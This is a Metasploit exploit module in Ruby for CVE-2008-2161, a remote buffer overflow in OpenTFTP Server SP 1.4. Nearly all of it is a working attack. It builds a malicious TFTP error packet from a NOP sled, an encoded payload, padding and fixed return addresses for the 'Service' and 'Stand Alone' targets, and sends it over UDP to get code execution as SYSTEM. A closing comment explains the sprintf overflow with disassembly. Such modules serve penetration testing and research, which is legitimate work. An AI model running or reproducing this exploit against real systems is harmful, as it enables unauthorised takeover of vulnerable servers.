##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'OpenTFTP SP 1.4 Error Packet Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in OpenTFTP Server SP 1.4.  The vulnerable
				condition triggers when the TFTP opcode is configured as an error packet, the TFTP
				service will then format the message using a sprintf() function, which causes an
				overflow, therefore allowing remote code execution under the context of SYSTEM.

					The offset (to EIP) is specific to how the TFTP was started (as a 'Stand Alone',
				or 'Service').  By default the target is set to 'Service' because that's the default
				configuration during OpenTFTP Server SP 1.4's installation.
			},
			'Author'         =>
				[
					'tixxDZ',     #Initial discovery, poc
					'steponequit' #Metasploit module
				],
			'References'     =>
				[
					['CVE', '2008-2161'],
					['OSVDB', '44904'],
					['BID', '29111'],
					['URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/29111.pl']
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'           => 5000,
					'BadChars'        => "\x00\x0a\x0d",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					#.bss section that is overwritten
					[ 'OpenTFTP 1.4 Service',      { 'Ret' => 0x0041b3ab } ],
					[ 'OpenTFTP 1.4 Stand Alone',  { 'Ret' => 0x0041b3ab } ]

				],
			#TFTP server is installed as an NT service by default
			'DefaultTarget'  => 0,
			'Privileged'     => false,
			'DisclosureDate' => 'Jul 05 2008'))

		register_options(
			[
				Opt::RPORT(69),
			], self.class)
	end

	def exploit

		if target.name =~ /OpenTFTP 1.4 Stand Alone/
			# This hits msvcrt.printf()
			sploit = "\x00\x05" + make_nops(10)
			sploit << payload.encoded
			sploit << rand_text_alpha(20517 - payload.encoded.length)
			sploit << [target['Ret']].pack('V')
			sploit << Rex::Text.rand_text_alpha(1469)

		elsif target.name =~ /OpenTFTP 1.4 Service/
			#This hits time()
			sploit = "\x00\x05" + make_nops(10)
			sploit << payload.encoded
			sploit << rand_text_alpha(20445 - payload.encoded.length)
			sploit << [target['Ret']].pack('V')
			sploit << Rex::Text.rand_text_alpha(1545)
		end

		# Send the malicious packet
		connect_udp
		udp_sock.put(sploit)
		handler
		disconnect_udp

	end

end

=begin
NOTE: If the module is run on a OSX box, you will probably see this error:
[-] Exploit exception: Message too long
That's OSX for you.

The vulnerable condition triggers when the TFTP opcode "\x00\x05" gets parsed in a ntohs() call:
.text:004022F6  mov     eax, ds:dword_41B370
.text:004022FB  movzx   eax, word ptr [eax]
.text:004022FE  mov     [esp+5C8h+var_5C8], eax
.text:00402301  mov     [ebp+var_550], 0FFFFFFFFh
.text:0040230B  call    ntohs
.text:00402310  sub     esp, 4
.text:00402313  cmp     ax, 5
.text:00402317  jnz     short loc_40236F
...

When the value matches 0x05, we then head down to a sprinf() function to generate an error
message, which causes an overflow:
.text:00402330  mov   eax, ds:dword_41B370
.text:00402335  add   eax, 4
.text:00402338  mov   [esp+5C8h+var_5BC], eax
.text:0040233C  mov   [esp+5C8h+var_5C0], edx
.text:00402340  mov   [esp+5C8h+var_5C4], offset aErrorIAtClient ; "Error %i at Client, %s"
.text:00402348  mov   [esp+5C8h+var_5C8], offset byte_41B394
.text:0040234F  call  sprintf

And then we either corrupt a msvcrt.printf() or time() call (in logMess), which end up gaining
control.

In source:
http://pastebin.com/QgZDwcan

else if (ntohs(datain->opcode) == 5)  // Line 224
{
	sprintf(serverError.errormessage, "Error %i at Client, %s", ntohs(datain->block), &datain->buffer);
	logMess(req1, 1);
	..... so on .....

You can also corrupt a SetServiceStatus() call with a smaller buffer, but obviously doesn't
give you a better crash than this one.
=end
